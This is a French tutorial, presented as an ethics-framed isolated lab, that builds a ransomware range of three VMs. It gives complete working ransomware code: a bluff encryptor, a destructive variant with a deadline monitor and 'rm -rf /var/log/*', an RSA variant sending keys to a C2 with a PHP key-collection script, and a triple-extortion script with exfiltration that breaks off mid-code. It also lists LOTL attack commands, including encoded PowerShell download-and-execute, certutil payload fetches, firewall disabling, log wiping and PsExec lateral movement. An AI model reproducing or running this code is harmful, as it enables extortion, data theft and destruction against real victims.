⚠️ LABORATOIRE ISOLÉ OBLIGATOIRE – Utilisation uniquement sur des systèmes que vous possédez ou avec autorisation explicite. Article 323-1 du Code pénal français. Formation éthique pour comprendre les ransomwares.

Ransomware Lab 2026 : 5 scénarios complets – Triple extorsion, LOTL, exfiltration

Un tutoriel unique et autonome : préparation des serveurs, techniques LOTL, 5 ransomwares commentés, explications détaillées et stratégies de défense avancées.

🎯 Introduction & tendances 2026

Les ransomwares ont évolué : en 2026, le simple chiffrement ne suffit plus. Les attaquants pratiquent la triple voire quadruple extorsion (exfiltration + menace de fuite + DDoS + harcèlement). Ce laboratoire vous permet de comprendre ces mécanismes dans un environnement isolé, en intégrant les techniques LOTL (Living Off the Land) désormais majoritaires.

📊 Tendances ransomware mi-2026

  • 74 milliards $ de dommages projetés (Cybersecurity Ventures)
  • 85 % des intrusions utilisent des techniques LOTL (PowerShell, WMI, schtasks)
  • Triple extorsion (données + DDoS + leak) dans plus de 40 % des cas
  • Exfiltration-only (extorsion sans chiffrement) en forte hausse (15-30 % des incidents)
  • Cloud légitimes (Telegram, Discord, OneDrive) utilisés pour l'exfiltration

Nous allons déployer trois serveurs cibles et cinq scénarios de ransomware intégrant des améliorations réalistes : triple extorsion avec DDoS simulé, exfiltration via Telegram, LOTL, persistance, et mouvement latéral.

graph TD A[Lab: 3 serveurs] --> B[WordPress] A --> C[PHP custom] A --> D[Site cyber statique] B --> E[Scénario 1: Bluff] C --> F[Scénario 2: Destructeur] D --> G[Scénario 3: Commerce RSA] D --> H[Scénario 4: Triple extorsion] D --> I[Scénario 5: Pure Extortion] style A fill:#00ff9d20 style E fill:#3366ff20 style F fill:#ff336620 style G fill:#00ff9d20 style H fill:#ffaa0020 style I fill:#ff550020
Mise en garde légale : Ce laboratoire doit être réalisé exclusivement sur des machines virtuelles isolées, sans connexion à Internet (sauf pour les téléchargements initiaux). Ne jamais déployer ces codes sur un système réel.

🔧 Préparation du laboratoire

Infrastructure

Nous allons créer trois machines virtuelles (ou conteneurs) sous Ubuntu Server 22.04 LTS, chacune avec un rôle différent. Vous pouvez aussi utiliser des services cloud (AWS, OVH) en veillant à les isoler dans un VPC privé.

ServeurRôleServicesAdresse IP (exemple)
VM1WordPressApache, MySQL, PHP, WordPress192.168.100.10
VM2Site PHP personnaliséApache, PHP, fichiers factices192.168.100.20
VM3Site "cyber" statique (C2)Nginx, HTML, fichiers téléchargeables (C2)192.168.100.30

Étape 1 : Création des VMs

Utilisez VirtualBox, VMware ou Proxmox. Pour chaque VM :

Installez les dépendances de base :

sudo apt update && sudo apt upgrade -y
sudo apt install -y apache2 mysql-server php php-mysql libapache2-mod-php python3 python3-pip openssl
sudo systemctl enable apache2 mysql

Étape 2 : Configuration des serveurs

Serveur 1 – WordPress

# Télécharger et installer WordPress
cd /tmp
wget https://wordpress.org/latest.tar.gz
tar -xzf latest.tar.gz
sudo mv wordpress /var/www/html/wordpress
sudo chown -R www-data:www-data /var/www/html/wordpress
sudo chmod -R 755 /var/www/html/wordpress

# Créer la base de données
sudo mysql -e "CREATE DATABASE wordpress;"
sudo mysql -e "CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'password123';"
sudo mysql -e "GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost';"
sudo mysql -e "FLUSH PRIVILEGES;"

# Configurer Apache (créer un virtualhost ou utiliser le site par défaut)
sudo bash -c 'cat > /etc/apache2/sites-available/wordpress.conf <

Terminez l'installation de WordPress via l'interface web (adresse http://192.168.100.10).

Serveur 2 – Site PHP personnalisé

# Créer un répertoire pour le site
sudo mkdir -p /var/www/html/site
sudo bash -c 'cat > /var/www/html/site/index.php </dev/null
done

# Configurer Apache
sudo bash -c 'cat > /etc/apache2/sites-available/site.conf <

Serveur 3 – Site "cyber" statique (C2)

# Installer Nginx
sudo apt install -y nginx
sudo systemctl enable nginx

# Créer un site vitrine
sudo mkdir -p /var/www/cyber
sudo bash -c 'cat > /var/www/cyber/index.html < /etc/nginx/sites-available/cyber <
Vérification : Depuis votre machine hôte ou Kali, testez l'accès aux trois serveurs via leurs adresses IP.

Nous avons maintenant trois cibles avec des fichiers sensibles. Passons à l'implémentation des ransomwares.

⚙️ Techniques LOTL (Living Off the Land) – Incontournables 2026

Les attaquants utilisent de plus en plus les outils légitimes du système pour éviter les détections. Voici les commandes les plus fréquentes, que nous intégrerons dans nos scénarios.

1. Lancement furtif avec PowerShell

# Téléchargement et exécution en mémoire (fileless)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex (New-Object Net.WebClient).DownloadString('http://192.168.100.30/launcher.ps1')"

# Version obfusquée (base64)
powershell -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMAAwAC4AMwAwAC8AbABhAHUAbgBjAGgAZQByAC4AcABzADEAJwApAA==

2. Persistance via tâches planifiées (schtasks)

schtasks /create /tn "Updater" /tr "powershell -WindowStyle Hidden -File C:\Windows\Temp\mal.ps1" /sc onstart /ru SYSTEM
schtasks /create /tn "HealthCheck" /tr "C:\Windows\System32\rundll32.exe C:\Users\Public\payload.dll,Start" /sc daily /st 09:00

3. Désactivation du pare-feu (netsh) – très utilisé en 2025-2026

netsh advfirewall set allprofiles state off
netsh advfirewall firewall delete rule name=all

4. Effacement des logs (wevtutil)

wevtutil cl System
wevtutil cl Security
wevtutil cl Application

5. Téléchargement avec certutil ou bitsadmin

certutil -urlcache -f http://192.168.100.30/payload.exe C:\Windows\Temp\payload.exe
bitsadmin /transfer myjob /download /priority high http://192.168.100.30/payload.exe C:\Windows\Temp\payload.exe

6. Mouvement latéral avec PsExec

# Nécessite les credentials (souvent volés)
psexec \\192.168.100.20 -u Administrateur -p password123 -c ransomware.exe
# Alternative avec WMI
wmic /node:192.168.100.20 /user:Admin /password:pass process call create "cmd /c ransomware.exe"
Ces commandes sont à exécuter depuis une machine compromise (souvent Windows) vers les cibles Linux via des outils comme impacket ou ssh. Adaptez-les à votre lab.

🧪 Scénario 1 : Bluff – Ransomware factice avec auto-déchiffrement

Ce ransomware simule une attaque bluffante : les fichiers sont chiffrés avec AES-256, mais une clé est sauvegardée localement et un déchiffrement automatique est programmé 24h plus tard via cron. Il intègre des techniques LOTL (désactivation du pare-feu) et des options de nettoyage.

Fonctionnalités : dry-run, clean, logging, flag d'infection, désactivation firewall (netsh simulé), auto-déchiffrement différé.

#!/usr/bin/env python3
# ransomware_bluff.py
import os
import sys
import time
import logging
import datetime
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'TARGET_DIRS': ['/var/www/html/wordpress', '/home/ubuntu'],
    'EXTENSIONS': ('.txt', '.pdf', '.jpg', '.png', '.docx', '.xlsx'),
    'KEY_FILE': '/tmp/ransomware.key',
    'NOTE_FILE': 'README.txt',
    'INFECTED_FLAG': '/tmp/ransomware_infected.flag',
    'LOG_FILE': '/tmp/ransomware_bluff.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def generate_key():
    return os.urandom(32)

def save_key(key):
    with open(CONFIG['KEY_FILE'], 'wb') as f:
        f.write(key)
    os.chmod(CONFIG['KEY_FILE'], 0o400)
    logging.info("Clé de déchiffrement sauvegardée.")

def load_key():
    with open(CONFIG['KEY_FILE'], 'rb') as f:
        return f.read()

def encrypt_file(filepath, key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Fichier chiffré : {filepath}")
    return encrypted_path

def decrypt_file(encrypted_path, key):
    with open(encrypted_path, 'rb') as f:
        data = f.read()
    iv = data[:16]
    ciphertext = data[16:]
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    plaintext_padded = decryptor.update(ciphertext) + decryptor.finalize()
    pad_len = plaintext_padded[-1]
    plaintext = plaintext_padded[:-pad_len]
    original_path = encrypted_path[:-10]  # enlever .encrypted
    with open(original_path, 'wb') as f:
        f.write(plaintext)
    os.remove(encrypted_path)
    logging.info(f"Fichier déchiffré : {original_path}")

def walk_and_encrypt():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté, sortie.")
        return 0
    key = generate_key()
    save_key(key)
    encrypted_count = 0
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    try:
                        encrypt_file(fullpath, key)
                        encrypted_count += 1
                    except Exception as e:
                        logging.error(f"Erreur sur {fullpath}: {e}")
    open(CONFIG['INFECTED_FLAG'], 'w').close()
    # LOTL : désactiver le firewall (simulation)
    os.system("sudo iptables -P INPUT ACCEPT; sudo iptables -P FORWARD ACCEPT; sudo iptables -P OUTPUT ACCEPT; sudo iptables -F")
    logging.info("Pare-feu désactivé (simulation netsh).")
    return encrypted_count

def drop_note(encrypted_count):
    note = f"""
    🔐 Vos fichiers ont été chiffrés !
    {encrypted_count} documents sensibles sont maintenant inaccessibles.
    Ne vous inquiétez pas, ils seront automatiquement restaurés dans 24 heures.
    Aucun paiement n'est nécessaire.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        if os.path.exists(target_dir):
            try:
                with open(os.path.join(target_dir, CONFIG['NOTE_FILE']), 'w') as f:
                    f.write(note)
            except Exception as e:
                logging.error(f"Impossible d'écrire la note dans {target_dir}: {e}")

def schedule_decryption():
    """Programme le déchiffrement dans 24h via une tâche cron."""
    script_path = os.path.abspath(__file__)
    deadline = (datetime.datetime.now() + datetime.timedelta(hours=24)).timestamp()
    cron_cmd = f'(crontab -l 2>/dev/null; echo "0 * * * * [ $(date +%s) -ge {int(deadline)} ] && python3 {script_path} --decrypt && crontab -r") | crontab -'
    os.system(cron_cmd)
    logging.info("Déchiffrement programmé dans 24h.")

def decrypt_all():
    if not os.path.exists(CONFIG['KEY_FILE']):
        logging.error("Clé de déchiffrement introuvable.")
        return
    key = load_key()
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith('.encrypted'):
                    fullpath = os.path.join(root, file)
                    try:
                        decrypt_file(fullpath, key)
                    except Exception as e:
                        logging.error(f"Erreur déchiffrement {fullpath}: {e}")
    # Nettoyage
    os.remove(CONFIG['KEY_FILE'])
    for target_dir in CONFIG['TARGET_DIRS']:
        note_path = os.path.join(target_dir, CONFIG['NOTE_FILE'])
        if os.path.exists(note_path):
            os.remove(note_path)
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        os.remove(CONFIG['INFECTED_FLAG'])
    logging.info("Déchiffrement terminé et nettoyage effectué.")

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Mode dry-run : aucune action réelle.")
        sys.exit(0)
    if '--clean' in sys.argv:
        # Supprime tous les artefacts
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == CONFIG['NOTE_FILE']:
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['KEY_FILE'], CONFIG['INFECTED_FLAG'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyage terminé.")
        sys.exit(0)
    if '--decrypt' in sys.argv:
        decrypt_all()
    else:
        count = walk_and_encrypt()
        if count > 0:
            drop_note(count)
            schedule_decryption()
        else:
            print("Aucun fichier cible trouvé ou déjà infecté.")
🔍 Explication et déploiement du scénario 1 :
Ce script est un ransomware "bluff" qui chiffre les fichiers avec une clé AES unique, sauvegarde la clé localement, et programme un déchiffrement automatique 24h plus tard via cron. Il illustre une attaque non motivée financièrement, souvent utilisée pour tester les réactions.
Déploiement : À exécuter sur VM1 ou VM2 (cibles) avec Python 3 et la bibliothèque cryptography. Utiliser python3 ransomware_bluff.py pour lancer l'attaque. Les options --dry-run (simulation), --clean (suppression des artefacts) et --decrypt (déchiffrement immédiat) sont disponibles.
Étude pratique : Après exécution, vérifiez les fichiers .encrypted, lisez le fichier README.txt, consultez les logs dans /tmp/ransomware_bluff.log, et observez la tâche cron avec crontab -l. Testez le déchiffrement automatique en modifiant le délai ou en lançant --decrypt manuellement.

💀 Scénario 2 : Destructeur – Ransomware avec menace de destruction

Ce ransomware chiffre les fichiers et menace de les détruire définitivement si aucune rançon n'est payée sous 24h. Un moniteur séparé (exécuté par cron toutes les 5 minutes) vérifie la présence d'un fichier de paiement et détruit les fichiers chiffrés si le délai est dépassé. Il efface également les logs système (LOTL).

Fonctionnalités : dry-run, clean, logging, moniteur cron, option --status, effacement logs (wevtutil simulé).

Script principal : ransomware_destructeur.py

#!/usr/bin/env python3
# ransomware_destructeur.py
import os
import sys
import time
import logging
import datetime
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'TARGET_DIRS': ['/var/www/html/site'],
    'EXTENSIONS': ('.txt', '.jpg', '.pdf'),
    'KEY_FILE': '/root/.ransomware.key',
    'PAYMENT_FLAG': '/tmp/payment_received',
    'DEADLINE_FILE': '/tmp/destruct_deadline.txt',
    'INFECTED_FLAG': '/tmp/destruct_infected.flag',
    'LOG_FILE': '/tmp/ransomware_destruct.log',
    'DESTROY_LOG': '/tmp/destruct_log.txt'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def generate_key(): return os.urandom(32)
def save_key(key):
    with open(CONFIG['KEY_FILE'], 'wb') as f: f.write(key)
    os.chmod(CONFIG['KEY_FILE'], 0o400)
def load_key():
    with open(CONFIG['KEY_FILE'], 'rb') as f: return f.read()

def encrypt_file(filepath, key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Chiffré : {filepath}")
    return encrypted_path

def decrypt_file(encrypted_path, key):
    with open(encrypted_path, 'rb') as f:
        data = f.read()
    iv = data[:16]
    ciphertext = data[16:]
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    plaintext_padded = decryptor.update(ciphertext) + decryptor.finalize()
    pad_len = plaintext_padded[-1]
    plaintext = plaintext_padded[:-pad_len]
    original_path = encrypted_path[:-10]
    with open(original_path, 'wb') as f:
        f.write(plaintext)
    os.remove(encrypted_path)
    logging.info(f"Déchiffré : {original_path}")

def walk_and_encrypt():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0
    key = generate_key()
    save_key(key)
    encrypted_count = 0
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    try:
                        encrypt_file(fullpath, key)
                        encrypted_count += 1
                    except Exception as e:
                        logging.error(f"Erreur {fullpath}: {e}")
    # Enregistrer le timestamp de début pour le moniteur
    with open(CONFIG['DEADLINE_FILE'], 'w') as f:
        f.write(str(time.time() + 24*3600))
    open(CONFIG['INFECTED_FLAG'], 'w').close()
    # LOTL : effacer les logs système
    os.system("sudo rm -rf /var/log/*")
    logging.info("Logs système effacés (simulation wevtutil).")
    logging.info(f"Chiffré {encrypted_count} fichiers.")
    return encrypted_count

def drop_note(encrypted_count):
    note = f"""
    🔐 Vos documents ont été chiffrés !
    {encrypted_count} fichiers sont concernés.
    Pour les récupérer, envoyez 1 Bitcoin à l'adresse suivante : bc1q...
    Ensuite, créez un fichier vide nommé 'payment_received' dans /tmp/.
    Vous avez 24 heures. Passé ce délai, vos fichiers seront définitivement perdus.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

def schedule_monitor():
    """Programme un cron pour exécuter le moniteur toutes les 5 minutes."""
    monitor_script = os.path.join(os.path.dirname(__file__), 'monitor_destructeur.py')
    cron_cmd = f'(crontab -l 2>/dev/null; echo "*/5 * * * * python3 {monitor_script}") | crontab -'
    os.system(cron_cmd)
    logging.info("Moniteur programmé toutes les 5 minutes.")

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['KEY_FILE'], CONFIG['INFECTED_FLAG'], CONFIG['DEADLINE_FILE'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        os.system('crontab -r 2>/dev/null')
        print("Nettoyé.")
        sys.exit(0)
    if '--status' in sys.argv and os.path.exists(CONFIG['DEADLINE_FILE']):
        with open(CONFIG['DEADLINE_FILE'], 'r') as f:
            deadline = float(f.read().strip())
        remaining = deadline - time.time()
        if remaining > 0:
            print(f"Temps restant : {int(remaining // 3600)}h {int((remaining % 3600)//60)}min")
        else:
            print("Délai expiré.")
        sys.exit(0)
    count = walk_and_encrypt()
    if count > 0:
        drop_note(count)
        schedule_monitor()
    else:
        print("Aucun fichier ou déjà infecté.")

Moniteur : monitor_destructeur.py (à placer au même endroit)

#!/usr/bin/env python3
# monitor_destructeur.py
import os
import time
import logging

CONFIG = {
    'KEY_FILE': '/root/.ransomware.key',
    'PAYMENT_FLAG': '/tmp/payment_received',
    'DEADLINE_FILE': '/tmp/destruct_deadline.txt',
    'TARGET_DIRS': ['/var/www/html/site'],
    'DESTROY_LOG': '/tmp/destruct_log.txt',
    'LOG_FILE': '/tmp/monitor_destruct.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def decrypt_all():
    script_dir = os.path.dirname(__file__)
    os.system(f'python3 {script_dir}/ransomware_destructeur.py --decrypt')

def destroy_all():
    with open(CONFIG['DESTROY_LOG'], 'w') as log:
        log.write("Fichiers définitivement supprimés :\n")
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for file in files:
                    if file.endswith('.encrypted'):
                        fullpath = os.path.join(root, file)
                        try:
                            os.remove(fullpath)
                            log.write(f"{fullpath}\n")
                        except Exception as e:
                            logging.error(f"Erreur suppression {fullpath}: {e}")
    if os.path.exists(CONFIG['KEY_FILE']):
        os.remove(CONFIG['KEY_FILE'])
    os.system('crontab -r 2>/dev/null')
    logging.info("Destruction terminée.")

if __name__ == '__main__':
    if not os.path.exists(CONFIG['DEADLINE_FILE']):
        sys.exit(0)
    with open(CONFIG['DEADLINE_FILE'], 'r') as f:
        deadline = float(f.read().strip())
    if time.time() > deadline:
        destroy_all()
        os.remove(CONFIG['DEADLINE_FILE'])
    elif os.path.exists(CONFIG['PAYMENT_FLAG']):
        decrypt_all()
        os.remove(CONFIG['PAYMENT_FLAG'])
        os.remove(CONFIG['DEADLINE_FILE'])
        os.system('crontab -r 2>/dev/null')
🔍 Explication et déploiement du scénario 2 :
Ce scénario introduit un moniteur indépendant qui vérifie périodiquement si le paiement a été effectué (fichier /tmp/payment_received) ou si le délai de 24h est dépassé. Dans le premier cas, il déchiffre ; dans le second, il détruit définitivement les fichiers chiffrés. Il efface aussi les logs pour entraver l'analyse forensique.
Déploiement : Placez les deux scripts dans le même répertoire sur VM2. Exécutez python3 ransomware_destructeur.py pour lancer l'attaque. Le moniteur sera automatiquement programmé dans cron. Pour simuler un paiement, créez le fichier /tmp/payment_received. Observez le comportement du moniteur toutes les 5 minutes.
Étude pratique : Après infection, vérifiez les fichiers .encrypted, le fichier de deadline, et les logs. Testez le paiement fictif et la destruction en modifiant le délai (par exemple en réglant la deadline à quelques minutes). Analysez le fichier /tmp/destruct_log.txt après destruction.

🌐 Scénario 3 : Commerce RSA – Ransomware avec clé publique distante

Ce ransomware utilise une clé RSA publique téléchargée depuis le serveur C2. Chaque fichier est chiffré avec une clé AES aléatoire, elle-même chiffrée avec la clé RSA et envoyée au C2 avec un identifiant unique. Il permet un déchiffrement individualisé après paiement.

Fonctionnalités : dry-run, clean, logging, récupération de la clé publique via HTTP, envoi des clés chiffrées, statistiques côté serveur.

Script Python : ransomware_commerce_rsa.py

#!/usr/bin/env python3
# ransomware_commerce_rsa.py
import os
import sys
import requests
import base64
import json
import logging
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'C2_URL': 'http://192.168.100.30/c2',
    'TARGET_DIRS': ['/var/www/html/wordpress'],
    'EXTENSIONS': ('.txt', '.pdf', '.jpg', '.png', '.docx'),
    'PUBLIC_KEY_PATH': '/tmp/public.pem',
    'VICTIM_ID_FILE': '/tmp/victim_id.txt',
    'INFECTED_FLAG': '/tmp/commerce_infected.flag',
    'LOG_FILE': '/tmp/ransomware_commerce.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def fetch_public_key():
    try:
        resp = requests.get(f"{CONFIG['C2_URL']}/public.pem", timeout=5)
        if resp.status_code == 200:
            with open(CONFIG['PUBLIC_KEY_PATH'], 'wb') as f:
                f.write(resp.content)
            logging.info("Clé publique récupérée.")
            return True
        else:
            logging.error(f"Erreur récupération clé publique: {resp.status_code}")
            return False
    except Exception as e:
        logging.error(f"Erreur réseau: {e}")
        return False

def get_victim_id():
    if os.path.exists(CONFIG['VICTIM_ID_FILE']):
        with open(CONFIG['VICTIM_ID_FILE'], 'r') as f:
            return f.read().strip()
    else:
        victim_id = base64.b64encode(os.urandom(12)).decode()[:16]
        with open(CONFIG['VICTIM_ID_FILE'], 'w') as f:
            f.write(victim_id)
        return victim_id

def encrypt_file(filepath, file_key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(file_key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Chiffré: {filepath}")
    return encrypted_path

def walk_and_encrypt():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0, None

    if not fetch_public_key():
        sys.exit(1)

    with open(CONFIG['PUBLIC_KEY_PATH'], 'rb') as f:
        public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())

    victim_id = get_victim_id()
    master_id = os.urandom(16).hex()
    encrypted_count = 0

    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    file_key = os.urandom(32)
                    try:
                        encrypt_file(fullpath, file_key)
                        encrypted_count += 1
                        encrypted_key = public_key.encrypt(
                            file_key,
                            padding.OAEP(
                                mgf=padding.MGF1(algorithm=hashes.SHA256()),
                                algorithm=hashes.SHA256(),
                                label=None
                            )
                        )
                        data = {
                            'victim_id': victim_id,
                            'master_id': master_id,
                            'file': os.path.basename(file),
                            'encrypted_key': base64.b64encode(encrypted_key).decode()
                        }
                        requests.post(f"{CONFIG['C2_URL']}/store_key_rsa.php", json=data, timeout=2)
                    except Exception as e:
                        logging.error(f"Erreur sur {fullpath}: {e}")

    open(CONFIG['INFECTED_FLAG'], 'w').close()
    return encrypted_count, master_id

def drop_note(encrypted_count, master_id):
    note = f"""
    🔐 Vos fichiers ont été chiffrés !
    {encrypted_count} fichiers sont inaccessibles.
    Pour les récupérer, rendez-vous sur {CONFIG['C2_URL']}/pay.php
    et entrez votre identifiant de transaction : {master_id}
    Après paiement, vous recevrez un outil de déchiffrement.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['INFECTED_FLAG'], CONFIG['VICTIM_ID_FILE'], CONFIG['PUBLIC_KEY_PATH'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyé.")
        sys.exit(0)
    count, mid = walk_and_encrypt()
    if count > 0:
        drop_note(count, mid)
        print(f"Infection réussie. ID: {mid}")
    else:
        print("Aucun fichier ou déjà infecté.")

Scripts PHP côté C2 (VM3)

store_key_rsa.php :

<?php
$data = json_decode(file_get_contents('php://input'), true);
if (!$data || !isset($data['victim_id'], $data['master_id'], $data['file'], $data['encrypted_key'])) {
    http_response_code(400);
    exit;
}

$victim_id = $data['victim_id'];
$master_id = $data['master_id'];
$file = $data['file'];
$encrypted_key = $data['encrypted_key'];

$dir = "/var/www/cyber/c2/keys/$victim_id";
if (!is_dir($dir)) mkdir($dir, 0755, true);
file_put_contents("$dir/$file.key", $encrypted_key);

$stats_file = '/var/www/cyber/c2/stats.json';
$stats = file_exists($stats_file) ? json_decode(file_get_contents($stats_file), true) : [];
$stats[$victim_id] = ($stats[$victim_id] ?? 0) + 1;
file_put_contents($stats_file, json_encode($stats));

echo "OK";
?>

Placez aussi public.pem (généré avec openssl) dans le même répertoire.

🔍 Explication et déploiement du scénario 3 :
Ce ransomware illustre le modèle "Ransomware-as-a-Service" où un opérateur central gère les clés. Le script télécharge une clé publique RSA depuis le C2, chiffre chaque fichier avec une clé AES unique, puis envoie la clé AES chiffrée (par RSA) au C2 avec un identifiant de victime. Ainsi, seul le serveur C2 peut déchiffrer les clés.
Déploiement : Sur VM3 (C2), créez le répertoire /var/www/cyber/c2 et placez-y store_key_rsa.php et public.pem. Générez la clé RSA avec openssl genrsa -out private.pem 2048 puis openssl rsa -in private.pem -pubout -out public.pem. Assurez-vous que PHP et les permissions sont corrects. Sur VM1, exécutez le script Python. Les clés chiffrées seront stockées dans /var/www/cyber/c2/keys/.
Étude pratique : Après infection, vérifiez que les clés sont bien reçues sur le C2. Simulez un paiement en créant un script de déchiffrement côté C2 qui renvoie les clés à la victime. Analysez les logs et le fichier stats.json.

💣 Scénario 4 : Triple Extorsion – Exfiltration, DDoS, harcèlement

Ce ransomware représente la tendance la plus récente : exfiltration des fichiers sensibles (par lots compressés), chiffrement, menace de fuite, simulation d'attaque DDoS et envoi d'emails de harcèlement aux parties prenantes.

Fonctionnalités : dry-run, clean, logging, détection de fichiers sensibles, exfiltration par lots HTTP, simulation DDoS (UDP flood légère), envoi d'emails SMTP, note avec timer de publication.

#!/usr/bin/env python3
# ransomware_triple_extorsion.py
import os
import sys
import requests
import zipfile
import io
import time
import logging
import threading
import socket
import smtplib
from email.mime.text import MIMEText
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'C2_URL': 'http://192.168.100.30/c2',
    'TARGET_DIRS': ['/var/www/html/wordpress'],
    'EXTENSIONS': ('.docx', '.xlsx', '.pdf', '.txt', '.jpg'),
    'SENSITIVE_KEYWORDS': ['cv', 'contrat', 'confidentiel', 'salaire', 'budget', 'client'],
    'CHUNK_SIZE': 5,
    'KEY_FILE': '/tmp/ransomware.key',
    'INFECTED_FLAG': '/tmp/triple_infected.flag',
    'LOG_FILE': '/tmp/ransomware_triple.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def is_sensitive(filepath):
    name = os.path.basename(filepath).lower()
    if any(kw in name for kw in CONFIG['SENSITIVE_KEYWORDS']):
        return True
    try:
        if os.path.getsize(filepath) > 100000:
            with open(filepath, 'rb') as f:
                head = f.read(512)
                if b'%PDF' in head or b'Word' in head or b'xl' in head:
                    return True
    except:
        pass
    return False

def exfiltrate_files(file_list):
    for i in range(0, len(file_list), CONFIG['CHUNK_SIZE']):
        chunk = file_list[i:i+CONFIG['CHUNK_SIZE']]
        zip_buffer = io.BytesIO()
